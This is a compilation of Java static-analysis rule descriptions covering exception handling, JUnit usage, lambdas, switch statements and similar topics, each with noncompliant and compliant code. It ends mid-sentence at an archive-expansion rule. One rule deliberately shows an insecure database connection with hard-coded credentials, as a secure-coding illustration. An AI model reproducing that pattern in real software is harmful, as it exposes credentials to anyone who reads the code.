For instance, the binary representation of the integer 640 is 0b0000_0010_1000_0000, which can also be written with the array of (unsigned) bytes [2, 128]. However, since Java uses two's complement, the representation of the integer in signed bytes will be [2, -128] (because the byte 0b1000_0000 is promoted to the int 0b1111_1111_1111_1111_1111_1111_1000_0000). Consequently, trying to reconstruct the initial integer by shifting and adding the values of the bytes without taking care of the sign will not produce the expected result.

To prevent such accidental value conversion, use bitwise and (&) to combine the byte value with 0xff (255) and turn all the higher bits back off.

This rule raises an issue any time a byte value is used as an operand without & 0xff, when combined with shifts.

Noncompliant Code Example

  int intFromBuffer() {
    int result = 0;
    for (int i = 0; i < 4; i++) {
      result = (result << 8) | readByte(); // Noncompliant
    }
    return result;
  }

Compliant Solution

  int intFromBuffer() {
    int result = 0;
    for (int i = 0; i < 4; i++) {
      result = (result << 8) | (readByte() & 0xff);
    }
    return result;
  }

See

java:S2187

There's no point in having a JUnit TestCase without any test methods. Similarly, you shouldn't have a file in the tests directory named *Test, *Tests, or *TestCase, but no tests in the file. Doing either of these things may lead someone to think that uncovered classes have been tested.

This rule raises an issue when files in the test directory are named *Test, *Tests, or *TestCase or implement TestCase but don't contain any tests.

Supported frameworks:

  • JUnit3
  • JUnit4
  • JUnit5
  • TestNG
  • Zohhak
  • ArchUnit
  • Pact
java:S112

Using such generic exceptions as Error, RuntimeException, Throwable, and Exception prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

public void foo(String bar) throws Throwable {  // Noncompliant
  throw new RuntimeException("My Message");     // Noncompliant
}

Compliant Solution

public void foo(String bar) {
  throw new MyOwnRuntimeException("My Message");
}

Exceptions

Generic exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis).

@Override
public void myMethod() throws Exception {...}

Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions.

public void myOtherMethod throws Exception {
  doTheThing();  // this method throws Exception
}

See

java:S4488

Spring framework 4.3 introduced variants of the @RequestMapping annotation to better represent the semantics of the annotated methods. The use of @GetMapping, @PostMapping, @PutMapping, @PatchMapping and @DeleteMapping should be preferred to the use of the raw @RequestMapping(method = RequestMethod.XYZ).

Noncompliant Code Example

@RequestMapping(path = "/greeting", method = RequestMethod.GET) // Noncompliant
public Greeting greeting(@RequestParam(value = "name", defaultValue = "World") String name) {
...
}

Compliant Solution

@GetMapping(path = "/greeting") // Compliant
public Greeting greeting(@RequestParam(value = "name", defaultValue = "World") String name) {
...
}
java:S2065

transient is used to mark fields in a Serializable class which will not be written out to file (or stream). In a class that does not implement Serializable, this modifier is simply wasted keystrokes, and should be removed.

Noncompliant Code Example

class Vegetable {  // does not implement Serializable
  private transient Season ripe;  // Noncompliant
  // ...
}

Compliant Solution

class Vegetable {
  private Season ripe;
  // ...
}
java:S2186

JUnit assertions should not be made from the run method of a Runnable, because failed assertions result in AssertionErrors being thrown. If the error is thrown from a thread other than the one that ran the test, the thread will exit but the test won't fail.

Noncompliant Code Example

public void run() {
  // ...
  Assert.assertEquals(expected, actual);  // Noncompliant
}
java:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

Connection conn = null;
try {
  conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
        "user=steve&password=blue"); // Sensitive
  String uname = "steve";
  String password = "blue";
  conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
        "user=" + uname + "&password=" + password); // Sensitive

  java.net.PasswordAuthentication pa = new java.net.PasswordAuthentication("userName", "1234".toCharArray());  // Sensitive

Compliant Solution

Connection conn = null;
try {
  String uname = getEncryptedUser();
  String password = getEncryptedPass();
  conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
        "user=" + uname + "&password=" + password);

See

java:S2189

An infinite loop is one that will never end while the program is running, i.e., you have to kill the program to get out of the loop. Whether it is by meeting the loop's end condition or via a break, every loop should have an end condition.

Noncompliant Code Example

for (;;) {  // Noncompliant; end condition omitted
  // ...
}

int j;
while (true) { // Noncompliant; end condition omitted
  j++;
}

int k;
boolean b = true;
while (b) { // Noncompliant; b never written to in loop
  k++;
}

Compliant Solution

int j;
while (true) { // reachable end condition added
  j++;
  if (j  == Integer.MIN_VALUE) {  // true at Integer.MAX_VALUE +1
    break;
  }
}

int k;
boolean b = true;
while (b) {
  k++;
  b = k < Integer.MAX_VALUE;
}

See

java:S3398

When a private method is only invoked by an inner class, there's no reason not to move it into that class. It will still have the same access to the outer class' members, but the outer class will be clearer and less cluttered.

Noncompliant Code Example

public class Outie {
  private int i=0;

  private void increment() {  // Noncompliant
    i++;
  }

  public class Innie {
    public void doTheThing() {
      Outie.this.increment();
    }
  }
}

Compliant Solution

public class Outie {
  private int i=0;

  public class Innie {
    public void doTheThing() {
      increment();
    }

    private void increment() {
      Outie.this.i++;
    }
  }
}
java:S110

Inheritance is certainly one of the most valuable concepts in object-oriented programming. It's a way to compartmentalize and reuse code by creating collections of attributes and behaviors called classes which can be based on previously created classes. But abusing this concept by creating a deep inheritance tree can lead to very complex and unmaintainable source code. Most of the time a too deep inheritance tree is due to bad object oriented design which has led to systematically use 'inheritance' when for instance 'composition' would suit better.

This rule raises an issue when the inheritance tree, starting from Object has a greater depth than is allowed.

For the parameter of the rule, the following rules are applied:

  • ? matches a single character
  • * matches zero or more characters
  • ** matches zero or more packages

Examples:

  • java.fwk.AbstractFwkClass will stop count when AbstractFwkClassclass is reached.
  • java.fwkPackage.* will stop count when any member of java.internal package is reached.
  • java.fwkPackage.** same as above, but including sub-packages.
java:S2188

Overriding a parent class method prevents that method from being called unless an explicit super call is made in the overriding method. In some cases not calling the super method is acceptable, but not with setUp and tearDown in a JUnit 3 TestCase.

Noncompliant Code Example

public class MyClassTest extends MyAbstractTestCase {

  private MyClass myClass;
    @Override
    protected void setUp() throws Exception {  // Noncompliant
      myClass = new MyClass();
    }

Compliant Solution

public class MyClassTest extends MyAbstractTestCase {

  private MyClass myClass;
    @Override
    protected void setUp() throws Exception {
      super.setUp();
      myClass = new MyClass();
    }
java:S3038

There's no point in redundantly defining an abstract method with the same signature as a method in an interface that the class implements. Any concrete child classes will have to implement the method either way.

Noncompliant Code Example

public interface Reportable {
  String getReport();
}

public abstract class AbstractRuleReport implements Reportable{
  public abstract String getReport();  // Noncompliant

  // ...
}
java:S4248

The java.util.regex.Pattern.compile() methods have a significant performance cost, and therefore should be used sensibly.

Moreover they are the only mechanism available to create instances of the Pattern class, which are necessary to do any pattern matching using regular expressions. Unfortunately that can be hidden behind convenience methods like String.matches() or String.split().

It is therefore somewhat easy to inadvertently repeatedly compile the same regular expression at great performance cost with no valid reason.

This rule raises an issue when:

  • A Pattern is compiled from a String literal or constant and is not stored in a static final reference.
  • String.matches, String.split, String.replaceAll or String.replaceFirst are invoked with a String literal or constant. In which case the code should be refactored to use a java.util.regex.Pattern while respecting the previous rule.

Noncompliant Code Example

public void doingSomething(String stringToMatch) {
  Pattern regex = Pattern.compile("myRegex");  // Noncompliant
  Matcher matcher = regex.matcher("s");
  // ...
  if (stringToMatch.matches("myRegex2")) {  // Noncompliant
    // ...
  }
}

Compliant Solution

private static final Pattern myRegex = Pattern.compile("myRegex");
private static final Pattern myRegex2 = Pattern.compile("myRegex2");

public void doingSomething(String stringToMatch) {
  Matcher matcher = myRegex.matcher("s");
  // ...
  if (myRegex2.matcher(stringToMatch).matches()) {
    // ...
  }
}

Exceptions

String.split doesn't create a regex when the string passed as argument meets either of these 2 conditions:

  • It is a one-char String and this character is not one of the RegEx's meta characters ".$|()[{^?*+\"
  • It is a two-char String and the first char is the backslash and the second is not the ascii digit or ascii letter.

In which case no issue will be raised.

java:S3039

Just as you can't cut something into three halves, you can't grab a substring that starts or ends outside the original String's bounds, you can't use substring to get a reversed portion of a String, and you can't get the charAt a value that's before the String starts or after it ends.

This rule detects when negative literal or String::length is passed as an argument to the String::substring, String::charAt and related methods.

Noncompliant Code Example

String speech = "Now is the time for all good people to come to the aid of their country.";

String substr1 = speech.substring(-1, speech.length());  // Noncompliant; start and end values both bad
String substr2 = speech.substring(speech.length(), 0); // Noncompliant, start value must be < end value
char ch = speech.charAt(speech.length());  // Noncompliant

Compliant Solution

String speech = "Now is the time for all good people to come to the aid of their country.";

String substr1 = speech; // Closest correct values to original code yield whole string
String substr2 = new StringBuilder(speech).reverse().toString()
char ch = speech.charAt(speech.length()-1);
java:S139

This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.

Noncompliant Code Example

int a1 = b + c; // This is a trailing comment that can be very very long

Compliant Solution

// This very long comment is better placed before the line of code
int a2 = b + c;
java:S138

A method that grows too large tends to aggregate too many responsibilities. Such method inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller methods which focus on well-defined tasks. Those smaller methods will not only be easier to understand, but also probably easier to test.

java:S135

Restricting the number of break and continue statements in a loop is done in the interest of good structured programming.

One break and continue statement is acceptable in a loop, since it facilitates optimal coding. If there is more than one, the code should be refactored to increase readability.

Noncompliant Code Example

for (int i = 1; i <= 10; i++) {     // Noncompliant - 2 continue - one might be tempted to add some logic in between
  if (i % 2 == 0) {
    continue;
  }

  if (i % 3 == 0) {
    continue;
  }

  System.out.println("i = " + i);
}
java:S1602

There are two ways to write lambdas that contain single statement, but one is definitely more compact and readable than the other.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

x -> {System.out.println(x+1);}
(a, b) -> { return a+b; }

Compliant Solution

x -> System.out.println(x+1)
(a, b) -> a+b    //For return statement, the return keyword should also be dropped
java:S1844

From the Java API documentation:

Condition factors out the Object monitor methods (wait, notify and notifyAll) into distinct objects to give the effect of having multiple wait-sets per object, by combining them with the use of arbitrary Lock implementations. Where a Lock replaces the use of synchronized methods and statements, a Condition replaces the use of the Object monitor methods.

The purpose of implementing the Condition interface is to gain access to its more nuanced await methods. Therefore, calling the method Object.wait(...) on a class implementing the Condition interface is silly and confusing.

Noncompliant Code Example

final Lock lock = new ReentrantLock();
final Condition notFull  = lock.newCondition();
...
notFull.wait();

Compliant Solution

final Lock lock = new ReentrantLock();
final Condition notFull  = lock.newCondition();
...
notFull.await();
java:S1845

Looking at the set of methods in a class, including superclass methods, and finding two methods or fields that differ only by capitalization is confusing to users of the class. It is similarly confusing to have a method and a field which differ only in capitalization or a method and a field with exactly the same name and visibility.

In the case of methods, it may have been a mistake on the part of the original developer, who intended to override a superclass method, but instead added a new method with nearly the same name.

Otherwise, this situation simply indicates poor naming. Method names should be action-oriented, and thus contain a verb, which is unlikely in the case where both a method and a member have the same name (with or without capitalization differences). However, renaming a public method could be disruptive to callers. Therefore renaming the member is the recommended action.

Noncompliant Code Example

public class Car{

  public DriveTrain drive;

  public void tearDown(){...}

  public void drive() {...}  // Noncompliant; duplicates field name
}

public class MyCar extends Car{
  public void teardown(){...}  // Noncompliant; not an override. It it really what's intended?

  public void drivefast(){...}

  public void driveFast(){...} //Huh?
}

Compliant Solution

public class Car{

  private DriveTrain drive;

  public void tearDown(){...}

  public void drive() {...}  // field visibility reduced
}

public class MyCar extends Car{
  @Override
  public void tearDown(){...}

  public void drivefast(){...}

  public void driveReallyFast(){...}

}
java:S1604

Before Java 8, the only way to partially support closures in Java was by using anonymous inner classes. But the syntax of anonymous classes may seem unwieldy and unclear.

With Java 8, most uses of anonymous inner classes should be replaced by lambdas to highly increase the readability of the source code.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

myCollection.stream().map(new Mapper<String,String>() {
  public String map(String input) {
    return new StringBuilder(input).reverse().toString();
  }
});

Predicate<String> isEmpty = new Predicate<String> {
    boolean test(String myString) {
        return myString.isEmpty();
    }
}

Compliant Solution

myCollection.stream().map(input -> new StringBuilder(input).reverse().toString());

Predicate<String> isEmpty = myString -> myString.isEmpty();
java:S1849

Calling Iterator.hasNext() is not supposed to have any side effects, and therefore should not change the state of the iterator. Iterator.next() advances the iterator by one item. So calling it inside Iterator.hasNext(), breaks the hasNext() contract, and will lead to unexpected behavior in production.

Noncompliant Code Example

public class FibonacciIterator implements Iterator<Integer>{
...
@Override
public boolean hasNext() {
  if(next() != null) {
    return true;
  }
  return false;
}
...
}
java:S1607

When a test fails due, for example, to infrastructure issues, you might want to ignore it temporarily. But without some kind of notation about why the test is being ignored, it may never be reactivated. Such tests are difficult to address without comprehensive knowledge of the project, and end up polluting their projects.

This rule raises an issue for each ignored test that does not have any comment about why it is being skipped.

  • For Junit4, this rule targets the @Ignore annotation.
  • For Junit5, this rule targets the @Disabled annotation.
  • Cases where assumeTrue(false) or assumeFalse(true) are used to skip tests are targeted as well.

Noncompliant Code Example

@Ignore  // Noncompliant
@Test
public void testDoTheThing() {
  // ...

or

@Test
public void testDoTheThing() {
  Assume.assumeFalse(true); // Noncompliant
  // ...

Compliant Solution

@Test
@Ignore("See Ticket #1234")
public void testDoTheThing() {
  // ...
java:S5194

Many existing switch statements are essentially simulations of switch expressions, where each arm either assigns to a common target variable or returns a value. Expressing this as a statement is roundabout, repetitive, and error-prone.

Java 12 added support for switch expressions, which provide more succinct and less error-prone version of switch.

Noncompliant Code Example

void day_of_week(DoW day) {
    int numLetters;
    switch (day) {  // Noncompliant
      case MONDAY:
      case FRIDAY:
      case SUNDAY:
        numLetters = 6;
        break;
      case TUESDAY:
        numLetters = 7;
        break;
      case THURSDAY:
      case SATURDAY:
        numLetters = 8;
        break;
      case WEDNESDAY:
        numLetters = 9;
        break;
      default:
        throw new IllegalStateException("Wat: " + day);
    }
}

int return_switch(int x) {
    switch (x) { // Noncompliant
      case 1:
        return 1;
      case 2:
        return 2;
      default:
        throw new IllegalStateException();
    }
}

Compliant Solution

int numLetters = switch (day) {
    case MONDAY, FRIDAY, SUNDAY -> 6;
    case TUESDAY                -> 7;
    case THURSDAY, SATURDAY     -> 8;
    case WEDNESDAY              -> 9;
};
java:S128

When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.

Noncompliant Code Example

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:  // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ?
    doSomething();
  default:
    doSomethingElse();
    break;
}

Compliant Solution

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Exceptions

This rule is relaxed in the following cases:

switch (myVariable) {
  case 0:                                // Empty case used to specify the same behavior for a group of cases.
  case 1:
    doSomething();
    break;
  case 2:                                // Use of return statement
    return;
  case 3:                                // Use of throw statement
    throw new IllegalStateException();
  case 4:                                // Use of continue statement
    continue;
  default:                               // For the last case, use of break statement is optional
    doSomethingElse();
}

See

  • MITRE, CWE-484 - Omitted Break Statement in Switch
  • CERT, MSC17-C. - Finish every set of statements associated with a case label with a break statement
  • CERT, MSC52-J. - Finish every set of statements associated with a case label with a break statement
java:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if (x == 0) {
  doSomething();
} else if (x == 1) {
  doSomethingElse();
}

Compliant Solution

if (x == 0) {
  doSomething();
} else if (x == 1) {
  doSomethingElse();
} else {
  throw new IllegalStateException();
}

See

java:S127

A for loop stop condition should test the loop counter against an invariant value (i.e. one that is true at both the beginning and ending of every loop iteration). Ideally, this means that the stop condition is set to a local variable just before the loop begins.

Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future.

This rule tracks three types of non-invariant stop conditions:

  • When the loop counters are updated in the body of the for loop
  • When the stop condition depend upon a method call
  • When the stop condition depends on an object property, since such properties could change during the execution of the loop.

Noncompliant Code Example

for (int i = 0; i < 10; i++) {
  ...
  i = i - 1; // Noncompliant; counter updated in the body of the loop
  ...
}

Compliant Solution

for (int i = 0; i < 10; i++) {...}
java:S124

This rule template can be used to create rules which will be triggered when the full content of a comment matches a given regular expression. Note that the regular expression should be expressed using the dotall format (where the . character matches any character).

For example, one can create a rule with the regular expression .*REVIEW.* to match all comment containing "REVIEW".

Note that, in order to match REVIEW regardless of the case, the (?i) modifier should be prepended to the expression, as in (?i).*REVIEW.*.

java:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

java:S1710

Before Java 8 if you needed to use multiple instances of the same annotation, they had to be wrapped in a container annotation. With Java 8, that's no longer necessary, allowing for cleaner, more readable code.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

@SomeAnnotations({  // Noncompliant
  @SomeAnnotation(..a..),
  @SomeAnnotation(..b..),
  @SomeAnnotation(..c..),
})
public class SomeClass {
  ...
}

Compliant Solution

@SomeAnnotation(..a..)
@SomeAnnotation(..b..)
@SomeAnnotation(..c..)
public class SomeClass {
  ...
}
java:S1711

Just as there is little justification for writing your own String class, there is no good reason to re-define one of the existing, standard functional interfaces.

Doing so may seem tempting, since it would allow you to specify a little extra context with the name. But in the long run, it will be a source of confusion, because maintenance programmers will wonder what is different between the custom functional interface and the standard one.

Noncompliant Code Example

@FunctionalInterface
public interface MyInterface { // Noncompliant
	double toDouble(int a);
}

@FunctionalInterface
public interface ExtendedBooleanSupplier { // Noncompliant
  boolean get();
  default boolean isFalse() {
    return !get();
  }
}

public class MyClass {
    private int a;
    public double myMethod(MyInterface instance){
	return instance.toDouble(a);
    }
}

Compliant Solution

@FunctionalInterface
public interface ExtendedBooleanSupplier extends BooleanSupplier { // Compliant, extends java.util.function.BooleanSupplier
  default boolean isFalse() {
    return !getAsBoolean();
  }
}

public class MyClass {
    private int a;
    public double myMethod(IntToDoubleFunction instance){
	return instance.applyAsDouble(a);
    }
}
java:S2925

Using Thread.sleep in a test is just generally a bad idea. It creates brittle tests that can fail unpredictably depending on environment ("Passes on my machine!") or load. Don't rely on timing (use mocks) or use libraries such as Awaitility for asynchroneous testing.

Noncompliant Code Example

@Test
public void testDoTheThing(){

  MyClass myClass = new MyClass();
  myClass.doTheThing();

  Thread.sleep(500);  // Noncompliant
  // assertions...
}

Compliant Solution

@Test
public void testDoTheThing(){

  MyClass myClass = new MyClass();
  myClass.doTheThing();

  await().atMost(2, Duration.SECONDS).until(didTheThing());  // Compliant
  // assertions...
}

private Callable<Boolean> didTheThing() {
  return new Callable<Boolean>() {
    public Boolean call() throws Exception {
      // check the condition that must be fulfilled...
    }
  };
}
java:S2924

While some TestRule classes have the desired effect without ever being directly referenced by a test, several others do not, and there's no reason to leave them cluttering up the file if they're not in use.

This rule raises an issue when Test class fields of the following types aren't used by any of the test methods: TemporaryFolder, and TestName.

This rule also applies to the JUnit 5 equivalent classes: TempDir, and TestInfo.

Noncompliant Code Example

public class ProjectDefinitionTest {

  @Rule
  public TemporaryFolder temp = new TemporaryFolder();  // Noncompliant

  @Test
  public void shouldSetKey() {
    ProjectDefinition def = ProjectDefinition.create();
    def.setKey("mykey");
    assertThat(def.getKey(), is("mykey"));
  }
}

Compliant Solution

public class ProjectDefinitionTest {

  @Test
  public void shouldSetKey() {
    ProjectDefinition def = ProjectDefinition.create();
    def.setKey("mykey");
    assertThat(def.getKey(), is("mykey"));
  }
}
java:S134

Nested if, for, while, switch, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

if (condition1) {                  // Compliant - depth = 1
  /* ... */
  if (condition2) {                // Compliant - depth = 2
    /* ... */
    for(int i = 0; i < 10; i++) {  // Compliant - depth = 3, not exceeding the limit
      /* ... */
      if (condition4) {            // Noncompliant - depth = 4
        if (condition5) {          // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
          /* ... */
        }
        return;
      }
    }
  }
}
java:S131

The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

switch (param) {  //missing default clause
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

switch (param) {
  default: // default clause should be the last one
    error();
    break;
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}

Exceptions

If the switch parameter is an Enum and if all the constants of this enum are used in the case statements, then no default clause is expected.

Example:

public enum Day {
    SUNDAY, MONDAY
}
...
switch(day) {
  case SUNDAY:
    doSomething();
    break;
  case MONDAY:
    doSomethingElse();
    break;
}

See

java:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if (b == 0) {  // Noncompliant
  doOneMoreThing();
} else {
  doOneMoreThing();
}

int b = a > 12 ? 4 : 4;  // Noncompliant

switch (i) {  // Noncompliant
  case 1:
    doSomething();
    break;
  case 2:
    doSomething();
    break;
  case 3:
    doSomething();
    break;
  default:
    doSomething();
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if(b == 0) {    //no issue, this could have been done on purpose to make the code more readable
  doSomething();
} else if(b == 1) {
  doSomething();
}
java:S1989

Even though the signatures for methods in a servlet include throws IOException, ServletException, it's a bad idea to let such exceptions be thrown. Failure to catch exceptions in a servlet could leave a system in a vulnerable state, possibly resulting in denial-of-service attacks, or the exposure of sensitive information because when a servlet throws an exception, the servlet container typically sends debugging information back to the user. And that information could be very valuable to an attacker.

This rule checks all exceptions in methods named "do*" are explicitly handled in servlet classes.

Noncompliant Code Example

public void doGet(HttpServletRequest request, HttpServletResponse response)
  throws IOException, ServletException {
  String ip = request.getRemoteAddr();
  InetAddress addr = InetAddress.getByName(ip); // Noncompliant; getByName(String) throws UnknownHostException
  //...
}

Compliant Solution

public void doGet(HttpServletRequest request, HttpServletResponse response)
  throws IOException, ServletException {
  try {
    String ip = request.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    //...
  }
  catch (UnknownHostException uhex) {
    //...
  }
}

See

java:S2718

The use of the ZonedDateTime class introduced in Java 8 to truncate a date can be significantly faster than the DateUtils class from Commons Lang.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

public Date trunc(Date date) {
  return DateUtils.truncate(date, Calendar.SECOND);  // Noncompliant
}

Compliant Solution

public Date trunc(Date date) {
  Instant instant = date.toInstant();
  ZonedDateTime zonedDateTime = instant.atZone(ZoneId.systemDefault());
  ZonedDateTime truncatedZonedDateTime = zonedDateTime.truncatedTo(ChronoUnit.SECONDS);
  Instant truncatedInstant = truncatedZonedDateTime.toInstant();
  return Date.from(truncatedInstant);
}
java:S2959

Under the reasoning that cleaner code is better code, the semicolon at the end of a try-with-resources construct should be omitted because it can be omitted.

Noncompliant Code Example

try (ByteArrayInputStream b = new ByteArrayInputStream(new byte[10]);  // ignored; this one's required
      Reader r = new InputStreamReader(b);)   // Noncompliant
{
   //do stuff
}

Compliant Solution

try (ByteArrayInputStream b = new ByteArrayInputStream(new byte[10]);
      Reader r = new InputStreamReader(b))
{
   //do stuff
}
java:S1860

Objects which are pooled and potentially reused should not be used for synchronization. If they are, it can cause unrelated threads to deadlock with unhelpful stacktraces. Specifically, String literals, and boxed primitives such as Integers should not be used as lock objects because they are pooled and reused. The story is even worse for Boolean objects, because there are only two instances of Boolean, Boolean.TRUE and Boolean.FALSE and every class that uses a Boolean will be referring to one of the two.

Noncompliant Code Example

private static final Boolean bLock = Boolean.FALSE;
private static final Integer iLock = Integer.valueOf(0);
private static final String sLock = "LOCK";

public void doSomething() {

  synchronized(bLock) {  // Noncompliant
    // ...
  }
  synchronized(iLock) {  // Noncompliant
    // ...
  }
  synchronized(sLock) {  // Noncompliant
    // ...
  }

Compliant Solution

private static final Object lock1 = new Object();
private static final Object lock2 = new Object();
private static final Object lock3 = new Object();

public void doSomething() {

  synchronized(lock1) {
    // ...
  }
  synchronized(lock2) {
    // ...
  }
  synchronized(lock3) {
    // ...
  }

See

java:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

Noncompliant Code Example

if (param == 1)
  openWindow();
else if (param == 2)
  closeWindow();
else if (param == 1)  // Noncompliant
  moveWindowToTheBackground();
}

Compliant Solution

if (param == 1)
  openWindow();
else if (param == 2)
  closeWindow();
else if (param == 3)
  moveWindowToTheBackground();
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
java:S1609

A Single Abstract Method (SAM) interface is a Java interface containing only one method. The Java API is full of SAM interfaces, such as java.lang.Runnable, java.awt.event.ActionListener, java.util.Comparator and java.util.concurrent.Callable. SAM interfaces have a special place in Java 8 because they can be implemented using Lambda expressions or Method references.

Using @FunctionalInterface forces a compile break when an additional, non-overriding abstract method is added to a SAM, which would break the use of Lambda implementations.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

public interface Changeable<T> {
  public void change(T o);
}

Compliant Solution

@FunctionalInterface
public interface Changeable<T> {
  public void change(T o);
}

Deprecated

This rule is deprecated, and will eventually be removed.

java:S1611

There are two possible syntaxes for a lambda having only one input parameter with an inferred type: with and without parentheses around that single parameter. The simpler syntax, without parentheses, is more compact and readable than the one with parentheses, and is therefore preferred.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

(x) -> x * 2

Compliant Solution

x -> x * 2
java:S2701

There's no reason to use literal boolean values or nulls in assertions. Instead of using them with assertEquals, assertNotEquals and similar methods, you should be using assertTrue, assertFalse, assertNull or assertNotNull instead (or isNull etc. when using Fest). Using them with assertions unrelated to equality (such as assertNull) is most likely a bug.

Supported frameworks:

  • JUnit3
  • JUnit4
  • JUnit5
  • Fest assert

Noncompliant Code Example

Assert.assertTrue(true);  // Noncompliant
assertThat(null).isNull(); // Noncompliant

assertEquals(true, something()); // Noncompliant
assertNotEquals(null, something()); // Noncompliant

Compliant Solution

assertTrue(something());
assertNotNull(something());
java:S1854

A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used.

Noncompliant Code Example

i = a + b; // Noncompliant; calculation result not used before value is overwritten
i = compute();

Compliant Solution

i = a + b;
i += compute();

Exceptions

This rule ignores initializations to -1, 0, 1, null, true, false and "".

See

java:S1612

Method/constructor references are commonly agreed to be, most of the time, more compact and readable than using lambdas, and are therefore preferred.

In some rare cases, when it is not clear from the context what kind of function is being described and reference would not increase the clarity, it might be fine to keep the lambda.

Similarly, null checks can be replaced with references to the Objects::isNull and Objects::nonNull methods.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

class A {
  void process(List<A> list) {
    list.stream()
      .map(a -> a.<String>getObject())
      .forEach(a -> { System.out.println(a); });
  }

  <T> T getObject() {
    return null;
  }
}

Compliant Solution

class A {
  void process(List<A> list) {
    list.stream()
      .map(A::<String>getObject)
      .forEach(System.out::println);
  }

  <T> T getObject() {
    return null;
  }
}
java:S1858

Invoking a method designed to return a string representation of an object which is already a string is a waste of keystrokes. This redundant construction may be optimized by the compiler, but will be confusing in the meantime.

Noncompliant Code Example

String message = "hello world";
System.out.println(message.toString()); // Noncompliant;

Compliant Solution

String message = "hello world";
System.out.println(message);
java:S1850

instanceof operators that always return true or false are either useless or the result of a misunderstanding which could lead to unexpected behavior in production.

Noncompliant Code Example

public boolean isSuitable(Integer param) {
...
  String name = null;

  if (name instanceof String) { // Noncompliant; always false since name is null
    //...
  }

  if(param instanceof Number) {  // Noncompliant; always true unless param is null, because param is an Integer
    doSomething();
  }
...
}

Compliant Solution

public boolean isSuitable(Integer param) {
...
  doSomething();
...
}

Deprecated

This rule is deprecated; use S2589 instead.

java:S1610

With Java 8's "default method" feature, any abstract class without direct or inherited field should be converted into an interface. However, this change may not be appropriate in libraries or other applications where the class is intended to be used as an API.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

public abstract class Car {
  public abstract void start(Environment c);

  public void stop(Environment c) {
    c.freeze(this);
  }
}

Compliant Solution

public interface Car {
  public void start(Environment c);

  public default void stop(Environment c) {
    c.freeze(this);
  }
}
java:S5042

Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities:

